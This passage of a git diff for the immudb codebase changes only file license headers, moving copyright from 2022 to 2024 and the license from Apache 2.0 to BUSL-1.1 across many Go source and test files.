f2b64f1dbd..201a369b12 100644 --- a/cmd/immudb/command/root_test.go +++ b/cmd/immudb/command/root_test.go @@ -1,11 +1,11 @@ /* -Copyright 2022 Codenotary Inc. All rights reserved. +Copyright 2024 Codenotary Inc. All rights reserved. -Licensed under the Apache License, Version 2.0 (the "License"); +SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at - http://www.apache.org/licenses/LICENSE-2.0 + https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, diff --git a/cmd/immudb/command/service/commandline.go b/cmd/immudb/command/service/commandline.go index 511815da5e..8d1f3f6e88 100644 --- a/cmd/immudb/command/service/commandline.go +++ b/cmd/immudb/command/service/commandline.go @@ -1,11 +1,11 @@ /* -Copyright 2022 Codenotary Inc. All rights reserved. +Copyright 2024 Codenotary Inc. All rights reserved. -Licensed under the Apache License, Version 2.0 (the "License"); +SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at - http://www.apache.org/licenses/LICENSE-2.0 + https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, diff --git a/cmd/immudb/command/service/commandline_test.go b/cmd/immudb/command/service/commandline_test.go index e5ed68581d..43b66cbd6d 100644 --- a/cmd/immudb/command/service/commandline_test.go +++ b/cmd/immudb/command/service/commandline_test.go @@ -1,11 +1,11 @@ /* -Copyright 2022 Codenotary Inc. All rights reserved. +Copyright 2024 Codenotary Inc. All rights reserved. -Licensed under the Apache License, Version 2.0 (the "License"); +SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at - http://www.apache.org/licenses/LICENSE-2.0 + https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, diff --git a/cmd/immudb/command/service/config/immudb.toml.freebsd.dist.go b/cmd/immudb/command/service/config/immudb.toml.freebsd.dist.go index be03f450af..b9527cc971 100644 --- a/cmd/immudb/command/service/config/immudb.toml.freebsd.dist.go +++ b/cmd/immudb/command/service/config/immudb.toml.freebsd.dist.go @@ -2,13 +2,13 @@ // +build freebsd /* -Copyright 2022 Codenotary Inc. All rights reserved. +Copyright 2024 Codenotary Inc. All rights reserved. -Licensed under the Apache License, Version 2.0 (the "License"); +SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at - http://www.apache.org/licenses/LICENSE-2.0 + https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, diff --git a/cmd/immudb/command/service/config/immudb.toml.linux.dist.go b/cmd/immudb/command/service/config/immudb.toml.linux.dist.go index 8395cdaa24..39e3b7bc4b 100644 --- a/cmd/immudb/command/service/config/immudb.toml.linux.dist.go +++ b/cmd/immudb/command/service/config/immudb.toml.linux.dist.go @@ -2,13 +2,13 @@ // +build linux darwin /* -Copyright 2022 Codenotary Inc. All rights reserved. +Copyright 2024 Codenotary Inc. All rights reserved. -Licensed under the Apache License, Version 2.0 (the "License"); +SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at - http://www.apache.org/licenses/LICENSE-2.0 + https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, diff --git a/cmd/immudb/command/service/config/immudb.toml.windows.dist.go b/cmd/immudb/command/service/config/immudb.toml.windows.dist.go index abdc786b1b..7db50da5c0 100644 --- a/cmd/immudb/command/service/config/immudb.toml.windows.dist.go +++ b/cmd/immudb/command/service/config/immudb.toml.windows.dist.go @@ -2,13 +2,13 @@ // +build windows /* -Copyright 2022 Codenotary Inc. All rights reserved. +Copyright 2024 Codenotary Inc. All rights reserved. -Licensed under the Apache License, Version 2.0 (the "License"); +SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at - http://www.apache.org/licenses/LICENSE-2.0 + https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, diff --git a/cmd/immudb/command/service/constant.go b/cmd/immudb/command/service/constant.go index ba815f7cca..efc243e470 100644 --- a/cmd/immudb/command/service/constant.go +++ b/cmd/immudb/command/service/constant.go @@ -1,11 +1,11 @@ /* -Copyright 2022 Codenotary Inc. All rights reserved. +Copyright 2024 Codenotary Inc. All rights reserved. -Licensed under the Apache License, Version 2.0 (the "License"); +SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at - http://www.apache.org/licenses/LICENSE-2.0 + https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, diff --git a/cmd/immudb/command/service/constants/freebsd.dist.go b/cmd/immudb/command/service/constants/freebsd.dist.go index 6bb53445bd..daf0c292d2 100644 --- a/cmd/immudb/command/service/constants/freebsd.dist.go +++ b/cmd/immudb/command/service/constants/freebsd.dist.go @@ -2,13 +2,13 @@ // +build freebsd /* -Copyright 2022 Codenotary Inc. All rights reserved. +Copyright 2024 Codenotary Inc. All rights reserved. -Licensed under the Apache License, Version 2.0 (the "License"); +SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at - http://www.apache.org/licenses/LICENSE-2.0 + https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, diff --git a/cmd/immudb/command/service/constants/linux.dist.go b/cmd/immudb/command/service/constants/linux.dist.go index cdf31b3e03..f4e73dc2a0 100644 --- a/cmd/immudb/command/service/constants/linux.dist.go +++ b/cmd/immudb/command/service/constants/linux.dist.go @@ -2,13 +2,13 @@ // +build linux darwin /* -Copyright 2022 Codenotary Inc. All rights reserved. +Copyright 2024 Codenotary Inc. All rights reserved. -Licensed under the Apache License, Version 2.0 (the "License"); +SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at - http://www.apache.org/licenses/LICENSE-2.0 + https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, diff --git a/cmd/immudb/command/service/constants/windows.dist.go b/cmd/immudb/command/service/constants/windows.dist.go index 17eecf467a..7399623cb2 100644 --- a/cmd/immudb/command/service/constants/windows.dist.go +++ b/cmd/immudb/command/service/constants/windows.dist.go @@ -2,13 +2,13 @@ // +build windows /* -Copyright 2022 Codenotary Inc. All rights reserved. +Copyright 2024 Codenotary Inc. All rights reserved. -Licensed under the Apache License, Version 2.0 (the "License"); +SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at - http://www.apache.org/licenses/LICENSE-2.0 + https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, diff --git a/cmd/immudb/command/service/service.go b/cmd/immudb/command/service/service.go index 52f31c62dd..c00ca3a3aa 100644 --- a/cmd/immudb/command/service/service.go +++ b/cmd/immudb/command/service/service.go @@ -1,11 +1,11 @@ /* -Copyright 2022 Codenotary Inc. All rights reserved. +Copyright 2024 Codenotary Inc. All rights reserved. -Licensed under the Apache License, Version 2.0 (the "License"); +SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at - http://www.apache.org/licenses/LICENSE-2.0 + https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, diff --git a/cmd/immudb/command/service/service_test.go b/cmd/immudb/command/service/service_test.go index 5475073d66..f9d7f1f66f 100644 --- a/cmd/immudb/command/service/service_test.go +++ b/cmd/immudb/command/service/service_test.go @@ -1,11 +1,11 @@ /* -Copyright 2022 Codenotary Inc. All rights reserved. +Copyright 2024 Codenotary Inc. All rights reserved. -Licensed under the Apache License, Version 2.0 (the "License"); +SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at - http://www.apache.org/licenses/LICENSE-2.0 + https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, diff --git a/cmd/immudb/command/service/servicetest/configservice.go b/cmd/immudb/command/service/servicetest/configservice.go index ddeeff5bf6..d8b598c156 100644 --- a/cmd/immudb/command/service/servicetest/configservice.go +++ b/cmd/immudb/command/service/servicetest/configservice.go @@ -1,11 +1,11 @@ /* -Copyright 2022 Codenotary Inc. All rights reserved. +Copyright 2024 Codenotary Inc. All rights reserved. -Licensed under the Apache License, Version 2.0 (the "License"); +SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at - http://www.apache.org/licenses/LICENSE-2.0 + https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, diff --git a/cmd/immudb/command/service/servicetest/daemon.go b/cmd/immudb/command/service/servicetest/daemon.go index 358f2f6ae6..8f21a73069 100644 --- a/cmd/immudb/command/service/servicetest/daemon.go +++ b/cmd/immudb/command/service/servicetest/daemon.go @@ -1,11 +1,11 @@ /* -Copyright 2022 Codenotary Inc. All rights reserved. +Copyright 2024 Codenotary Inc. All rights reserved. -Licensed under the Apache License, Version 2.0 (the "License"); +SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at - http://www.apache.org/licenses/LICENSE-2.0 + https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, diff --git a/cmd/immudb/command/service/servicetest/server.go b/cmd/immudb/command/service/servicetest/server.go index bf836e17c3..3aa9f182fe 100644 --- a/cmd/immudb/command/service/servicetest/server.go +++ b/cmd/immudb/command/service/servicetest/server.go @@ -1,11 +1,11 @@ /* -Copyright 2022 Codenotary Inc. All rights reserved. +Copyright 2024 Codenotary Inc. All rights reserved. -Licensed under the Apache License, Version 2.0 (the "License"); +SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at - http://www.apache.org/licenses/LICENSE-2.0 + https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, diff --git a/cmd/immudb/command/service/servicetest/sservice.go b/cmd/immudb/command/service/servicetest/sservice.go index c2a4410da7..89760bc781 100644 --- a/cmd/immudb/command/service/servicetest/sservice.go +++ b/cmd/immudb/command/service/servicetest/sservice.go @@ -1,11 +1,11 @@ /* -Copyright 2022 Codenotary Inc. All rights reserved. +Copyright 2024 Codenotary Inc. All rights reserved. -Licensed under the Apache License, Version 2.0 (the "License"); +SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at - http://www.apache.org/licenses/LICENSE-2.0 + https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, diff --git a/cmd/immudb/command/tls_config.go b/cmd/immudb/command/tls_config.go index 59319c540d..8565e015f2 100644 --- a/cmd/immudb/command/tls_config.go +++ b/cmd/immudb/command/tls_config.go @@ -1,11 +1,11 @@ /* -Copyright 2022 Codenotary Inc. All rights reserved. +Copyright 2024 Codenotary Inc. All rights reserved. -Licensed under the Apache License, Version 2.0 (the "License"); +SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at - http://www.apache.org/licenses/LICENSE-2.0 + https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, diff --git a/cmd/immudb/command/tls_config_test.go b/cmd/immudb/command/tls_config_test.go index ea00fcc859..067c329a4c 100644 --- a/cmd/immudb/command/tls_config_test.go +++ b/cmd/immudb/command/tls_config_test.go @@ -1,11 +1,11 @@ /* -Copyright 2022 Codenotary Inc. All rights reserved. +Copyright 2024 Codenotary Inc. All rights reserved. -Licensed under the Apache License, Version 2.0 (the "License"); +SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at - http://www.apache.org/licenses/LICENSE-2.0 + https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, diff --git a/cmd/immudb/fips/fips.go b/cmd/immudb/fips/fips.go index 6fb09709be..39020eb697 100644 --- a/cmd/immudb/fips/fips.go +++ b/cmd/immudb/fips/fips.go @@ -2,13 +2,13 @@ // +build fips /* -Copyright 2022 Codenotary Inc. All rights reserved. +Copyright 2024 Codenotary Inc. All rights reserved. -Licensed under the Apache License, Version 2.0 (the "License"); +SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at - http://www.apache.org/licenses/LICENSE-2.0 + https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, diff --git a/cmd/immudb/immudb.go b/cmd/immudb/immudb.go index cd21f80f7b..7943e52e35 100644 --- a/cmd/immudb/immudb.go +++ b/cmd/immudb/immudb.go @@ -1,11 +1,11 @@ /* -Copyright 2022 Codenotary Inc. All rights reserved. +Copyright 2024 Codenotary Inc. All rights reserved. -Licensed under the Apache License, Version 2.0 (the "License"); +SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at - http://www.apache.org/licenses/LICENSE-2.0 + https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, diff --git a/cmd/immutest/command/cmd.go b/cmd/immutest/command/cmd.go index a8db4f3666..acd3ff22a9 100644 --- a/cmd/immutest/command/cmd.go +++ b/cmd/immutest/command/cmd.go @@ -1,11 +1,11 @@ /* -Copyright 2022 Codenotary Inc. All rights reserved. +Copyright 2024 Codenotary Inc. All rights reserved. -Licensed under the Apache License, Version 2.0 (the "License"); +SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at - http://www.apache.org/licenses/LICENSE-2.0 + https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, diff --git a/cmd/immutest/command/cmd_test.go b/cmd/immutest/command/cmd_test.go index 5daa0eb3d4..dbbc734da5 100644 --- a/cmd/immutest/command/cmd_test.go +++ b/cmd/immutest/command/cmd_test.go @@ -1,11 +1,11 @@ /* -Copyright 2022 Codenotary Inc. All rights reserved. +Copyright 2024 Codenotary Inc. All rights reserved. -Licensed under the Apache License, Version 2.0 (the "License"); +SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at - http://www.apache.org/licenses/LICENSE-2.0 + https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, diff --git a/cmd/immutest/command/init.go b/cmd/immutest/command/init.go index 8a97c3bd3b..38bdf19af4 100644 --- a/cmd/immutest/command/init.go +++ b/cmd/immutest/command/init.go @@ -1,11 +1,11 @@ /* -Copyright 2022 Codenotary Inc. All rights reserved. +Copyright 2024 Codenotary Inc. All rights reserved. -Licensed under the Apache License, Version 2.0 (the "License"); +SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at - http://www.apache.org/licenses/LICENSE-2.0 + https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, diff --git a/cmd/immutest/immutest.go b/cmd/immutest/immutest.go index 82ec6be246..0ce975b2be 100644 --- a/cmd/immutest/immutest.go +++ b/cmd/immutest/immutest.go @@ -1,11 +1,11 @@ /* -Copyright 2022 Codenotary Inc. All rights reserved. +Copyright 2024 Codenotary Inc. All rights reserved. -Licensed under the Apache License, Version 2.0 (the "License"); +SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at - http://www.apache.org/licenses/LICENSE-2.0 + https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, diff --git a/cmd/immutest/immutest_test.go b/cmd/immutest/immutest_test.go index ac7de749c0..18c21d5330 100644 --- a/cmd/immutest/immutest_test.go +++ b/cmd/immutest/immutest_test.go @@ -1,11 +1,11 @@ /* -Copyright 2022 Codenotary Inc. All rights reserved. +Copyright 2024 Codenotary Inc. All rights reserved. -Licensed under the Apache License, Version 2.0 (the "License"); +SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at - http://www.apache.org/licenses/LICENSE-2.0 + https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, diff --git a/cmd/sservice/constant.go b/cmd/sservice/constant.go index 3d719144ad..136705b501 100644 --- a/cmd/sservice/constant.go +++ b/cmd/sservice/constant.go @@ -1,11 +1,11 @@ /* -Copyright 2022 Codenotary Inc. All rights reserved. +Copyright 2024 Codenotary Inc. All rights reserved. -Licensed under the Apache License, Version 2.0 (the "License"); +SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at - http://www.apache.org/licenses/LICENSE-2.0 + https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, diff --git a/cmd/sservice/manpageservice.go b/cmd/sservice/manpageservice.go index e3990f25c3..c7d580e96d 100644 --- a/cmd/sservice/manpageservice.go +++ b/cmd/sservice/manpageservice.go @@ -1,11 +1,11 @@ /* -Copyright 2022 Codenotary Inc. All rights reserved. +Copyright 2024 Codenotary Inc. All rights reserved. -Licensed under the Apache License, Version 2.0 (the "License"); +SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at - http://www.apache.org/licenses/LICENSE-2.0 + https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, diff --git a/cmd/sservice/manpageservice_test.go b/cmd/sservice/manpageservice_test.go index 5a6af74eda..5235250f42 100644 --- a/cmd/sservice/manpageservice_test.go +++ b/cmd/sservice/manpageservice_test.go @@ -1,11 +1,11 @@ /* -Copyright 2022 Codenotary Inc. All rights reserved. +Copyright 2024 Codenotary Inc. All rights reserved. -Licensed under the Apache License, Version 2.0 (the "License"); +SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at - http://www.apache.org/licenses/LICENSE-2.0 + https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, diff --git a/cmd/sservice/option.go b/cmd/sservice/option.go index c00b42b6c5..80876c9977 100644 --- a/cmd/sservice/option.go +++ b/cmd/sservice/option.go @@ -1,11 +1,11 @@ /* -Copyright 2022 Codenotary Inc. All rights reserved. +Copyright 2024 Codenotary Inc. All rights reserved. -Licensed under the Apache License, Version 2.0 (the "License"); +SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at - http://www.apache.org/licenses/LICENSE-2.0 + https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, diff --git a/cmd/sservice/option_test.go b/cmd/sservice/option_test.go index 306ac0ba5f..e9ea757474 100644 --- a/cmd/sservice/option_test.go +++ b/cmd/sservice/option_test.go @@ -1,11 +1,11 @@ /* -Copyright 2022 Codenotary Inc. All rights reserved. +Copyright 2024 Codenotary Inc. All rights reserved. -Licensed under the Apache License, Version 2.0 (the "License"); +SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at - http://www.apache.org/licenses/LICENSE-2.0 + https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, diff --git a/cmd/sservice/sservice.go b/cmd/sservice/sservice.go index 48f78bba5b..9287c91d5a 100644 --- a/cmd/sservice/sservice.go +++ b/cmd/sservice/sservice.go @@ -1,11 +1,11 @@ /* -Copyright 2022 Codenotary Inc. All rights reserved. +Copyright 2024 Codenotary Inc. All rights reserved. -Licensed under the Apache License, Version 2.0 (the "License"); +SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at - http://www.apache.org/licenses/LICENSE-2.0 + https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, diff --git a/cmd/sservice/sservice_freebsd.go b/cmd/sservice/sservice_freebsd.go index 47a8e828ff..10974c3d4e 100644 --- a/cmd/sservice/sservice_freebsd.go +++ b/cmd/sservice/sservice_freebsd.go @@ -2,13 +2,13 @@ // +build freebsd /* -Copyright 2022 Codenotary Inc. All rights reserved. +Copyright 2024 Codenotary Inc. All rights reserved. -Licensed under the Apache License, Version 2.0 (the "License"); +SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at - http://www.apache.org/licenses/LICENSE-2.0 + https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, diff --git a/cmd/sservice/sservice_unix.go b/cmd/sservice/sservice_unix.go index c3cc49f9b4..07426a05d7 100644 --- a/cmd/sservice/sservice_unix.go +++ b/cmd/sservice/sservice_unix.go @@ -2,13 +2,13 @@ // +build linux darwin /* -Copyright 2022 Codenotary Inc. All rights reserved. +Copyright 2024 Codenotary Inc. All rights reserved. -Licensed under the Apache License, Version 2.0 (the "License"); +SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at - http://www.apache.org/licenses/LICENSE-2.0 + https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, diff --git a/cmd/sservice/sservice_unix_test.go b/cmd/sservice/sservice_unix_test.go index f8f60d8467..50c6c43b35 100644 --- a/cmd/sservice/sservice_unix_test.go +++ b/cmd/sservice/sservice_unix_test.go @@ -1,11 +1,11 @@ /* -Copyright 2022 Codenotary Inc. All rights reserved. +Copyright 2024 Codenotary Inc. All rights reserved. -Licensed under the Apache License, Version 2.0 (the "License"); +SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at - http://www.apache.org/licenses/LICENSE-2.0 + https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, diff --git a/cmd/sservice/sservice_windows.go b/cmd/sservice/sservice_windows.go index 56c5fb91e6..c35111a90e 100644 --- a/cmd/sservice/sservice_windows.go +++ b/cmd/sservice/sservice_windows.go @@ -2,13 +2,13 @@ // +build windows /* -Copyright 2022 Codenotary Inc. All rights reserved. +Copyright 2024 Codenotary Inc. All rights reserved. -Licensed under the Apache License, Version 2.0 (the "License"); +SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at - http://www.apache.org/licenses/LICENSE-2.0 + https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, diff --git a/cmd/sservice/sservice_windows_test.go b/cmd/sservice/sservice_windows_test.go index 250a42fd04..0831859d38 100644 --- a/cmd/sservice/sservice_windows_test.go +++ b/cmd/sservice/sservice_windows_test.go @@ -2,13 +2,13 @@ // +build windows /* -Copyright 2022 Codenotary Inc. All rights reserved. +Copyright 2024 Codenotary Inc. All rights reserved. -Licensed under the Apache License, Version 2.0 (the "License"); +SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at - http://www.apache.org/licenses/LICENSE-2.0 + https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, diff --git a/cmd/version/cmd.go b/cmd/version/cmd.go index 9d990a0774..a1972a2adf 100644 --- a/cmd/version/cmd.go +++ b/cmd/version/cmd.go @@ -1,11 +1,11 @@ /* -Copyright 2022 Codenotary Inc. All rights reserved. +Copyright 2024 Codenotary Inc. All rights reserved. -Licensed under the Apache License, Version 2.0 (the "License"); +SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at - http://www.apache.org/licenses/LICENSE-2.0 + https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, diff --git a/cmd/version/cmd_test.go b/cmd/version/cmd_test.go index 400277bb59..1a07e7ddf3 100644 --- a/cmd/version/cmd_test.go +++ b/cmd/version/cmd_test.go @@ -1,11 +1,11 @@ /* -Copyright 2022 Codenotary Inc. All rights reserved. +Copyright 2024 Codenotary Inc. All rights reserved. -Licensed under the Apache License, Version 2.0 (the "License"); +SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at - http://www.apache.org/licenses/LICENSE-2.0 + https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, diff --git a/docs/security/vulnerabilities/linear-fake/server/data_generation/state_values_generation_test.go b/docs/security/vulnerabilities/linear-fake/server/data_generation/state_values_generation_test.go index 33db74ba21..d498068ee4 100644 --- a/docs/security/vulnerabilities/linear-fake/server/data_generation/state_values_generation_test.go +++ b/docs/security/vulnerabilities/linear-fake/server/data_generation/state_values_generation_test.go @@ -2,13 +2,13 @@ // +build ignore /* -Copyright 2022 CodeNotary, Inc. All rights reserved. +Copyright 2024 Codenotary Inc. All rights reserved. -Licensed under the Apache License, Version 2.0 (the "License"); +SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at - http://www.apache.org/licenses/LICENSE-2.0 + https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, diff --git a/docs/security/vulnerabilities/linear-fake/server/go_client_test.go b/docs/security/vulnerabilities/linear-fake/server/go_client_test.go index 4b04dc2a74..b9f44da6b6 100644 --- a/docs/security/vulnerabilities/linear-fake/server/go_client_test.go +++ b/docs/security/vulnerabilities/linear-fake/server/go_client_test.go @@ -1,11 +1,11 @@ /* -Copyright 2022 CodeNotary, Inc. All rights reserved. +Copyright 2024 Codenotary Inc. All rights reserved. -Licensed under the Apache License, Version 2.0 (the "License"); +SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at - http://www.apache.org/licenses/LICENSE-2.0 + https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, diff --git a/docs/security/vulnerabilities/linear-fake/server/main.go b/docs/security/vulnerabilities/linear-fake/server/main.go index 6880e81ab6..90e53fc563 100644 --- a/docs/security/vulnerabilities/linear-fake/server/main.go +++ b/docs/security/vulnerabilities/linear-fake/server/main.go @@ -1,11 +1,11 @@ /* -Copyright 2022 CodeNotary, Inc. All rights reserved. +Copyright 2024 Codenotary Inc. All rights reserved. -Licensed under the Apache License, Version 2.0 (the "License"); +SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at - http://www.apache.org/licenses/LICENSE-2.0 + https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, diff --git a/docs/security/vulnerabilities/linear-fake/server/server.go b/docs/security/vulnerabilities/linear-fake/server/server.go index 7eff82f4f1..a4e6e70fb9 100644 --- a/docs/security/vulnerabilities/linear-fake/server/server.go +++ b/docs/security/vulnerabilities/linear-fake/server/server.go @@ -1,11 +1,11 @@ /* -Copyright 2022 CodeNotary, Inc. All rights reserved. +Copyright 2024 Codenotary Inc. All rights reserved. -Licensed under the Apache License, Version 2.0 (the "License"); +SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at - http://www.apache.org/licenses/LICENSE-2.0 + https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, diff --git a/embedded/ahtree/ahtree.go b/embedded/ahtree/ahtree.go index 9760fb1eed..2235518d2c 100644 --- a/embedded/ahtree/ahtree.go +++ b/embedded/ahtree/ahtree.go @@ -1,11 +1,11 @@ /* -Copyright 2022 Codenotary Inc. All rights reserved. +Copyright 2024 Codenotary Inc. All rights reserved. -Licensed under the Apache License, Version 2.0 (the "License"); +SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at - http://www.apache.org/licenses/LICENSE-2.0 + https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, diff --git a/embedded/ahtree/ahtree_test.go b/embedded/ahtree/ahtree_test.go index 7a1031b006..7f65815a9e 100644 --- a/embedded/ahtree/ahtree_test.go +++ b/embedded/ahtree/ahtree_test.go @@ -1,11 +1,11 @@ /* -Copyright 2022 Codenotary Inc. All rights reserved. +Copyright 2024 Codenotary Inc. All rights reserved. -Licensed under the Apache License, Version 2.0 (the "License"); +SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at - http://www.apache.org/licenses/LICENSE-2.0 + https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, diff --git a/embedded/ahtree/options.go b/embedded/ahtree/options.go index f28091baad..96c5468e1e 100644 --- a/embedded/ahtree/options.go +++ b/embedded/ahtree/options.go @@ -1,11 +1,11 @@ /* -Copyright 2022 Codenotary Inc. All rights reserved. +Copyright 2024 Codenotary Inc. All rights reserved. -Licensed under the Apache License, Version 2.0 (the "License"); +SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a 